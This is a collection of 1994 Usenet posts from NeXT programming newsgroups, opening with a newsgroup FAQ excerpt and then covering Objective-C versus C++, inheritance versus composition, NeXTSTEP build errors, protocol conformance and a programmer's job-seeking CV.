report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: ernest@pundit.cithep.caltech.edu (Ernest Prabhakar) Newsgroups: comp.sys.next.programmer Subject: Re: Thanks to Sam && NeXT Date: 14 Feb 1994 21:38:33 GMT Organization: California Institute of Technology, Pasadena Distribution: world Message-ID: <2jor0q$ivg@gap.cco.caltech.edu> References: <2jo04p$ce9@dialup.oar.net> Tyler Gingrich writes > Many thanks to Sam S. for polishing XoX and posting the SOURCE!! > BTW, there is one REALLY interesting file included in the source... > make=/bin/make > -/RC_ARCHS/ $ "RC_CFLAGS=-arch m98k" RC_ARCHS=m98k MACHINE=m98k > > The only part I can't figure is.....m98k?? > Is this a generic arch flag > for the Moto 88K family?? m98k is how Moto referred to the PowerPC chip, the successor (for all intents and purposes) to the m88k chip. I beleive the NRW was originally built around the 88k, then redesigned for the PowerPC before they gave up entirely. Here's hoping for a black PowerPC from Canon! - Ernie P. -- Ernest N. Prabhakar Caltech High Energy Physics Member, League for Programming Freedom (league@prep.ai.mit.edu) CaJUN President NeXTMail:ernest@pundit.cithep.caltech.edu "...and ourselves, your servants for Jesus' sake." - II Cor 4:5b #import <std/disclaimer.h>
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb15.002618.13990@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <1994Feb12.132341.12317@prim.demon.co.uk> <2jio14$3j6@steffi.demon.co.uk> Date: Tue, 15 Feb 1994 00:26:18 GMT Time to flesh out my ideas about subclassing a little. I was trying to figure out why we're all still writing so much code. Why, despite all the hype, it still takes quite a while to develop applications on the NeXT (eg Pages, WriteUp, NewsGrazer Pro, Newsagent...:). Far from proposing that all functionality be placed into one huge all singing, all dancing object, I was wondering whether we could develop a suite of fundamental objects that can just be glued together with something like TCL. Like Lego. The idea is that you should never have to subclass these objects. They should also be smart enough that you can link them together to create more exotic composite objects. And the key to that concept is to have standard protocols for communication between them. In fact it's possible that the design of good protocols is more important than the objects themselves. What is the most significant thing about the building block approach of Unix? It's the fact that you have a communication standard - standard in and standard out. It's pretty basic, but it's from that that the power of Unix derives. With these fundamental objects you should be able to construct the more complicated AppKit objects that NeXT supply. Take Menu for instance. Looked at in the abstract, it's a pretty simple concept. A window with a list of cells. The cells can be disabled, they can have one of those arrow icons, they can send an action when clicked, etc. There's nothing particuarly _special_ about any of this, so why should it be done in subclasses? Well OK, you may say, what about when a submenu is brought up - it sticks to it's parent menu. But this can be made into a general behaviour of Window itself: the ability to attach another window (or windows) at a certain relative position. Bingo, you've added a feature to Window that may be useful in other situations. And there really isn't that much difference between a MenuCell and an NXBrowserCell. Nothing that can't be handled by configuration by the external "glue". If the designers of the AppKit had striven to _avoid_ subclassing, I'm sure the resulting objects would have been more re-usable and there'd be less need for _us_ to subclass them. I'd like to be able to build a more complex object like NXBrowser in Interface Builder just using some basic objects plus TCL scripts. The same goes for DBTableView or even a simple spreadsheet. I think it's possible that an inheritance tree encourages a top-down view, encourages specialization, whereas we should be building from the bottom-up and encouraging generalization. In fact, just to go off the rails completely for a little while, maybe class heirarchies model the way the brain perceives things and that's why we all think they're such a good idea. :-} Isn't it more efficient for the brain to form abstractions such as "an animal has four legs", rather than remembering that "sheep have four legs", "cows have four legs", and so on? But how does nature actually _create_ cows and sheep? I'm no expert on biology, but I don't think there's a gene for "four legged-ness" of which a sheep has one subclass and a cow another. Instead, animals are made of hundreds of thousands of fundamental objects - genes. Life itself evolved as a result of basic cells grouping together to form more complex objects, and so should our software. :-) Dave Griffiths
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Operation not supported on a socket Message-ID: <1994Feb14.200622.2374@afs.com> Sender: greg@afs.com References: <1994Feb10.215742.2070@parsec.mixcom.com> Distribution: usa Date: Mon, 14 Feb 1994 20:06:22 GMT In article <1994Feb10.215742.2070@parsec.mixcom.com> scott@parsec.mixcom.com (Scott Violet) writes: > Hi all, > We seem to repeatedly get the error, 'operation not supported on > a socket', when compiling using PB. Performing a make clean, and then > rebuilding rectifies the problem, but for large apps this can take > quite some time. I'm wondering if anyone else out there has > experienced this problem and knows how to fix it. This is a problem with fastcp, which is used to copy nib files from your working directories into the app wrapper. We have found that when more than one programmer is working on a project and saves back nib files, they get a new owner. (Actually, this can happen on any resource file that gets copied into the wrapper, but nibs are the most obvious.) fastcp is VERY picky about file owners/permissions. If the current owner differs from the owner inside the app wrapper, fastcp punts with the error you described. There are 2 solutions: Yours, which obliterates the contents of the app wrapper and thus solves the mixed-ownership problem; or occasional chown's to make the nib files always have the same owner. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93 fastcp is VERY picky about file owners/permissions. If the current owner differs from t
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object From: pfkeb@kaon.SLAC.Stanford.EDU (Paul F. Kunz) Subject: Re: Is inheritance a good idea? In-Reply-To: dave@prim.demon.co.uk's message of Tue, 15 Feb 1994 00:26:18 GMT Message-ID: <PFKEB.94Feb14204828@kaon.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <1994Feb12.132341.12317@prim.demon.co.uk> <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> Date: Tue, 15 Feb 1994 04:48:28 GMT >>>>> On Tue, 15 Feb 1994 00:26:18 GMT, dave@prim.demon.co.uk (Dave Griffiths) said: In article <1994Feb15.002618.13990@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) writes: > in other situations. And there really isn't that much difference > between a MenuCell and an NXBrowserCell. Well a MenuCell can take command key equivalents and a NXBrowserCell can not. Thus, MenuCell should be subclass of NXBrowserCell. However, NXBrowserCell was introduced with NeXTSTEP 2.0. One thing you can't do with archived object files (nib files) is change the class heirarchy. Thus NeXT could not "insert" NXBrowserCell in the Cell heirarchy ahead of MenuCell without breaking all nib files created under NS 2.0. I think this must be the reason for what we see today. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object From: johnson@cs.uiuc.edu (Ralph Johnson) Subject: Re: Is inheritance a good idea? Message-ID: <CL92H9.7pw@cs.uiuc.edu> Organization: University of Illinois, Dept. of Comp. Sci., Urbana, IL References: <1994Feb12.132341.12317@prim.demon.co.uk> <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> Date: Tue, 15 Feb 1994 05:12:45 GMT dave@prim.demon.co.uk (Dave Griffiths) writes: >Far from proposing that all functionality be placed into one huge all singing, >all dancing object, I was wondering whether we could develop a suite of >fundamental objects that can just be glued together with something like TCL. >Like Lego. The idea is that you should never have to subclass these objects. >They should also be smart enough that you can link them together to create >more exotic composite objects. And the key to that concept is to have standard >protocols for communication between them. In fact it's possible that the >design of good protocols is more important than the objects themselves. It is not only possible, it is true. But this doesn't imply that there is anything wrong with inheritance, just that composition results in more reusable software. Brian Foote and I wrote about this in our 1988 JOOP paper, "Designing Reusable Classes", which you can get by anonymous ftp from st.cs.uiuc.edu in /pub/papers if you didn't subscribe back then. My experience is that inheritance is easier to think about, so you start off using it first, and then gradually start redesigning your software to make it more compositional. You still use inheritance, but more as a way to organize the component library than as something required to make new kinds of components. ParcPlace Smalltalk is pretty far along in this evolution. There are some problems with having an extremely compositional system. It is almost like inventing another language, because you start thinking not in terms of your main programming language, but in systems of interconnected objects. This raises the learning curve once again, but provides even more power to the expert. I suppose that if you had good enough tools for composing objects then you could forget about the underlying language, but that hasn't happened to VisualWorks yet. >In fact, just to go off the rails completely for a little while, maybe class >heirarchies model the way the brain perceives things and that's why we all >think they're such a good idea. :-} Of course class hierarchies model the way the brain perceives things! Objects, classes, and inheritance are all artificial. All classification is man-made. But so what? If you pick a modeling technique that runs counter to how the brain perceives things, I bet that I won't be able to use it! The motto I teach my students is "The world is not object-oriented. YOU are object-oriented." But then I am teaching THEM to program, so that is what really counts. -Ralph Johnson
From: michelle@meaddata.com (Michelle Buck) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 15 Feb 1994 06:49:04 GMT Organization: Mead Data Central, Dayton OH Message-ID: <2jpr90$a27@meaddata.meaddata.com> References: <CL2tLM.qJ@friday.com> <CL6q6r.55D@pdh.com> Overloading the operator + (Plus) to concatenate strings is VERY BAD. Plus already has a meaning in C++. Given the following example: String s ("\n"); s = "Hello " + "world" + s; What string is referred to by s ? in C, the plus indicates address arithmetic as follows: const char *s; s = "Hello " + "world" + "\n"; s now points to some (probably garbage) memory at the address of the first constant string plus the address of the second constant string plus the address of the third constant string. - or - s = "Hello " + 2; printf(s); // will output the "llo " printf("Hello " + 3); // will output "lo " - or - cnst char *foo = "some string"; printf(foo + 3); // outputs "e string" Using the String class described above, what happens if I want the same behavior as with C ? What if I am a C++ programmer who does not have time to check all included headers to find out if plus means plus or concatenation ? What if things are further confused because Microsoft uses + with Rectangle structures (in this case + means OR) to produce a result that is all area contained in rectangle A OR rectangle B (the union). I think that the power to overload pre-defined operators is dangerous. Overloaded operators make code just as unreadable as longjmp()s into other modules. Why not invent new operators ? how about: String s ("\n"); // Constructor is OK s.concat("foo ")->concat("bar); // the concat member function returns receiver's this Oh, wait a minute, that is an odd expression. I must change from . to -> because concat returns a pointer. how do I use String to do the following ? const char *names[] = { "Joe", "Frank", "Mary", NULL}; like this ? String names[2]; // Oh-no. This invokes the constructor with // no arguments names[0] = "Joe"; names[1] = "frank"; I prefer the first technique if only because it frees me from the constant 2 in the declaration which I may forget to change when I add the line names[2] = "Mary"; In addition, the first case is handled at compile time while the second must be executed at runtime. - Erik (not Michelle) P.S. C and C++ are both DANGEROUS languages. That does not make them bad. It just makes it harder to write code with them.
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: libInterceptor_s.A.shlib Message-ID: <1994Feb10.102747.278@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH Date: Thu, 10 Feb 94 10:27:47 GMT Hi to all! Did somebody reengineer libInterceptor_s.A.shlib? I was thinking about using /dev/vid0. But a look into libInterceptor_s.A.shlib showed me, that it seems to use it too. So I'd like to use that instead of creating my own NXSimpleBitmap. So how do I create a NXInterceptorClient? And how do I use it? Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb10.111841.343@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <2j3q7s$efl@rosie.next.com> Date: Thu, 10 Feb 94 11:18:41 GMT In article <2j3q7s$efl@rosie.next.com> pgraff@graff.next.com (Peter Graffagnino) writes: > In article <2j2jvt$112@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert > Nicholson) writes: [MUNCH] > > So... what does a runtime buy you? Among other things: > > * reasoning about classes at runtime (respondsTo:, isKindOf:, ....) > Don't forget to mention AppInspector! With it you can look at any class in a RUNNING program. See the methods and ivars. I need this to get used to some private classes of NEXTSTEP and building headers and additional methods for them. This might not look good but is sometimes the best (not to say only) solution. (See the discussion of PopUpList) Besides can you add categories to existing classes in C++? I need this to extend the behavior of NEXTSTEP classes. How about protocols which just describe methods (like virtual in C++) but can be checked at runtime with conformsTo:. In fact, a protocol is an object. You can not do that without a runtime system. Atze PS. I have a ray-tracer written in plain ANSI-C. I tell you this thing is object oriented because it uses function pointers. a) Why should I use C++ if I can do it in ANSI-C? Because C++ gives me a better syntax. b) Why should I use Objective-C instead of C++? Because it is one exponent more object oriented AND gives me an even better syntax. You still could do all this in C+R C. After compile it's just machine code. ;^) -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: DCE on NeXT Date: 15 Feb 1994 08:12:42 GMT Organization: Technical University of Berlin, Germany Message-ID: <2jq05q$12s@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Keywords: DCE, NeXT hello I am looking for a DCE (Distributed Computing Enviroment) port to the NeXT platform. Who knows something? Please respond via e-mail Stephan -- Stephan Fruhauf gonzo@cs.tu-berlin.de what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
Newsgroups: comp.sys.next.programmer,comp.sys.next.hardware From: derek@nosloc.com (Derek Collison) Subject: SpecInt, SpecFP, MFLOPS for Pentium machines? Message-ID: <CL95KD.DL5@nosloc.com> Sender: derek@nosloc.com (Derek Collison) Organization: Nosloc Software Technologies Date: Tue, 15 Feb 1994 06:19:25 GMT Does anyone have the numbers for the above? I am mostly interested in these numbers for comparison to the Gecko. I also believe they may have already been posted. If so I apologize for the bandwidth. Thanks in advance.... =derek -- Derek Collison <---> derek@nosloc.com Nosloc Software Technologies NeXTSTEP Consulting and Software Design
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Mon, 14 Feb 1994 18:56:45 PST Message-ID: <1994Feb15.025645.758@corona.com> Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? References: <1994Feb5.203624.21081@rbc.uucp> From: al@rbc.uucp (Al Davis) > It seems that most people here think C++ sucks and won't > say why. You seem to imply that Objective-C is better > but won't say why. > > Can someone make a clear chart of the differences so one > can make a logical decision? 1) Run-time binding/type checking. So-called strong type-checking of C++ has never panned out as a time-saving improvement. IHMO it is an overreaction to the bad old days of pre-prototyped C, when passing arguments to a function was full of danger, and argument mismatches ate up hours of debugging time. C++ developers spend a disproportionate amount of time struggling with class definitions and the resulting multiple inheritance, virtual base classes and templates, then usually defeat them all by resorting to casting some object pointer in the end. Objective-C is much more flexible, much simpler, yet just as safe. 2) Encapsulation C++ static objects, vtables, default parameters, and inline methods all violate encapsulation, in that internal changes to objects used by programs force the programs themselves to be recompiled. How are we to build software ICs on that foundation? 3) Simplicity. C++ is a complicated mess. Classes are not objects that have neither metaclass info nor polymorphism. Constructors are hybrid beasts that don't invoke virtual functions like other member functions. Look at a class library that uses the "power" of C++ and you will likely be mystified as to what it does...hopefully you won't have to maintain it. Objective-C on the other hand is simple. You can do anything with it that you can do with C++, and you will spend your time addressing the problem, not the language. --- NeXTMail:Peter_Kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
Newsgroups: comp.sys.next.programmer Subject: Understanding Bitmap Data? Message-ID: <1994Feb14.221637.984@earlham.edu> From: alberjo@earlham.edu Date: Mon, 14 Feb 94 22:17:40 -500 Organization: Earlham College Keywords: Bitmap Hello world, How do I read a bitmap from a window to find the values of all the bits in the window are for use in signature recognition? I seem to have a hold of some or all of the data, but it comes in some strange format textually with different sections of the bitmap scattered about. The dimensions are correct though. If you have ever encountered this before or may possibly know what I'am doing wrong please let my know! thanks, josh albertson [the niave NeXT programmer] alberjo@yang.earlham.edu
Newsgroups: comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: Q: sample code for IXFileFinder? Message-ID: <1994Feb15.110129.1621@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus Date: Tue, 15 Feb 1994 11:01:29 GMT Hi, after some trying with less success I'm looking for sample code for the usage of IXFileFinder and related classes. Any hints are appreciated. Thanks in advance, Robert. -- ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: fred@wicket.fdn.org (Frederic Pralong) Subject: A JOB ? Message-ID: <1994Feb15.091046.2550@wicket.fdn.org> Sender: news@wicket.fdn.org Organization: Individual - Paris -France Date: Tue, 15 Feb 1994 09:10:46 GMT Since i don't have access to the news, this message has been posted by a friend so please only reply to my adress (hrichard@email.teaser.com) and not to him... Well, you can do it and he will forward me your mail but i don't think this is a convenient solution (for you and for him) I'm actually working on my NeXTStation since 1992 but I'd like to participate to a real a project, so I'm actually seeking a junior programmer or administrator position. Here's my CV : Hugues RICHARD 42 Bd Carnot 21000 DIJON FRANCE Tel : 80. 65. 46. 96. 21 year old, single completed military service EDUCATION 1993 DUT in computer science (french diploma, level just under the BS) IUT - University of Dijon 1990 Baccalaureat (General HighSchool Certificate) EMPLOYMENT HISTORY summer 1993 10 weeks training with the Computing unit at the I.N.R.A. Center in Dijon : System administration of a UNIX network (SUN, PC, ...), installation of several PCs working under XWindow, writing of a C language printing input filter (print accounting, PostScript/ASCII switching)... I.N.R.A. - 17, rue Sully - 21034 Dijon summer 1992 3 months training period with an Italian firm : translation and realization in DTP (Ventura for PC) of a technical manual accompanying an air conditioner exported to France. EMICON srl - Via A. Dragoni, 59 - 47100 Forli since 1991 Part time DTP Operator and technician in a micro-publishing firm. Realization of the magazine "Votre Curriculum Vitae" distributed via newsstands. Involved in design through to printing (quadrichrome) C.A.N.T SARL - 43, rue des Godrans - 21000 Dijon EXPERIENCE Finance I was Treasurer of the Investment Club at Lycee Carnot in 1989 - 90, then Chairman of the Investment Club of the IUT in 1990 - 1991. I realized operations on the share market and on the Parisian traded option market (MONEP). Computers Good command of three environments : - Mac : "administration", use - PC : "administration", use and programming (DOS). - UNIX : administration, use and programming. Since 1992, I have my own NeXT Workstation. Development in C and Objective C LANGUAGES French (mother tongue) Fluent Italian (10 months in Italy) English, good reading, speaking and writing ability Basic knowledge of Japanese I'm ready to travel everywhere to work on a NeXTSTEP environment. --------------------------------------------------------------------- Hugues RICHARD 42 Bd Carnot 21000 DIJON FRANCE (+33) 80 65 46 96 hrichard@email.teaser.com
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 15 Feb 1994 09:51:47 -0000 Organization: me organized? That's a joke! Message-ID: <2jq5vj$18e@steffi.demon.co.uk> References: <CL2tLM.qJ@friday.com> <CL6q6r.55D@pdh.com> <2jpr90$a27@meaddata.meaddata.com> michelle@meaddata.com (Michelle Buck) wrote in comp.sys.next.programmer > >Overloading the operator + (Plus) to concatenate strings is VERY BAD. Plus >already has a meaning in C++. Given the following example: Overloading is a matter of taste. Nothing more, nothing less. There's no right and wrong. I will only use userdefined conversion operators in the same vein as str functions. For intstance, if my string class defines. inline String::operator char *() { return str }; then I will use that feature to preform basic string operations. strcpy(stringobject, stringobject2) strcat(stringobject, stringobject3) strlen(stringobject) etc. Same rules as C apply, the caller is responsible for making sure there is enough memory in the destination object and that the source object representation is null terminated. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object Subject: Re: Is inheritance a good idea? Date: 15 Feb 1994 11:41:20 -0000 Organization: me organized? That's a joke! Message-ID: <2jqcd0$1bl@steffi.demon.co.uk> References: <1994Feb12.132341.12317@prim.demon.co.uk> <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) wrote in comp.lang.objective-c,comp.sys.next.programmer,comp.object >Time to flesh out my ideas about subclassing a little. I was trying to figure >out why we're all still writing so much code. Why, despite all the hype, it >still takes quite a while to develop applications on the NeXT (eg Pages, >WriteUp, NewsGrazer Pro, Newsagent...:). > >Far from proposing that all functionality be placed into one huge all singing, >all dancing object, I was wondering whether we could develop a suite of >fundamental objects that can just be glued together with something like TCL. >Like Lego. The idea is that you should never have to subclass these objects. >They should also be smart enough that you can link them together to create >more exotic composite objects. And the key to that concept is to have standard >protocols for communication between them. In fact it's possible that the >design of good protocols is more important than the objects themselves. What >is the most significant thing about the building block approach of Unix? It's >the fact that you have a communication standard - standard in and standard >out. It's pretty basic, but it's from that that the power of Unix derives. With _code_ reuse being your main aim I do not see how relying on cohesive communication b/w objects solves anything. Your complaint is that it still requires a significant amount of time and effort to develop applications. You propose a non-heirarchical approach. However, you still will have to write the code for each object/class though. So I gather the main contention is that using a "construction" approach as you describe leads to more reusable solutions. How do you plan to identify the dependencies in your network of objects? Is a protocol a unique identifier for any object object/class type? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Is Objective - C a dead language ? Message-ID: <CL8Jwn.3HH@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2jlb01$hk@steffi.demon.co.uk> Date: Mon, 14 Feb 1994 22:31:34 GMT Robert Nicholson writes > al@rbc.uucp (Al Davis) wrote in comp.sys.next.programmer > >In article <CL2tLM.qJ@friday.com> bbum@friday.com writes: > >>There is no need to use strcpy(), etc. I have been using Objective > >>Technologies StringKit for quite some time and have eliminated almost all > >>memory problems associated with string manipulation. > >> > >>id string = [OTString otisRetrieve]; // get a temporary instance > >>[string sprintf:"Hello world\n"]; > >>fprintf(stdout, "String was: %s", [string stringValue]; > >>[string otisRelease]; > > > >What a mess!! > > > >In C++, you overload strcpy(), so the syntax remains the same as it > >was for old C. You get all the benefits and the code reads the same > >as it always has. > > > > You can overload strcpy in ObjC too because in C++ it's isn't > overloading that you are using it's user defined conversions. > ie. operator char * > > Overloading is when you say > > if (stringobject == anotherstringobject), which is easy in C++ (of > course UniqueString's are the exception, as far as ObjC is concerned) > > >Objective-C has some advantages. This isn't one of them. > > Agreed. Before anyone thinks that I have my head firmly entrenched in language oriented religious wars to the point where I can no longer acknowledge the fallacies of my environment-of-choice, I just wanted to add that I agree that example I provided does not demonstrate a feature of ObjC that is superior to C++ -- in fact, it is clearly inferior. It was intended to demonstrate that it is possible to avoid tradional C memory munging hell. -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Subclass conforming to protocol Message-ID: <CL8K48.3I8@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <1994Feb13.135129.484@afs.com> Date: Mon, 14 Feb 1994 22:36:07 GMT Michael Pizolato writes > Stepan Stepanian writes > >Suppose object SubA is subclass of an object A and inherits its method > >"someMethod". Suppose also that the same method is included in > ><SomeFormalProtocol> to which the object SubA conforms. > > > >Because SubA inherits "someMethod", one would think it should satisfy > ><SomeFormalProtocol> requirements. In reality, the compiler complains > >that "someMethod" is not defined for SubA, so the SubA "...does not fully > >implement the <SomeFormalProtocol>". > > > >Is there any way to avoid having to explicitly define the method in cases > >like this? > > No. > > It stinks. NeXT's implementation of protocols is brain-dead in > many and varied ways - your example is only one of them. I wrote > a method once where the object being passed as a parameter was > expected to conform to a protocol. In addition to the compile-time > check: > > - foo:(id <bar>)mumble > > I put a run-time check in the code: > > if ([mumble conformsTo:@protocol(bar)]) > > and the compiler warned that "method 'conformsTo' not implemented > by protocol 'bar'" or something like that. In other words, not > only was the mumble object expected to implement all the methods > in bar, but it was also expected to implement _only_ the methods > in bar, even to the exclusion of methods in the Object class! > > In the words of Dave Barry, "I swear I am not making this up." :-( There is a justifiable reason for the compiler yelling about the non-implementation of conformsTo: -- if mumble is a root class, or descendant of a root class, then the 'bar' protocol may really define EXACTLY what methods a paticular object responds to. In the case of a variable of type (id), nothing can be inferred about what functionality that object might inherit-- hence the rather fascist approach of ignoring methods that are implemented in some object's super... but what happens if you statically type the argument? Is the compiler bright enough to look at the inheritance tree and "discover" if the class's supers fufill the requirements of the protocol? (I would suspect not, but have never checked). It seems that NeXT chose to implement protocols in the safest possible manner... -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
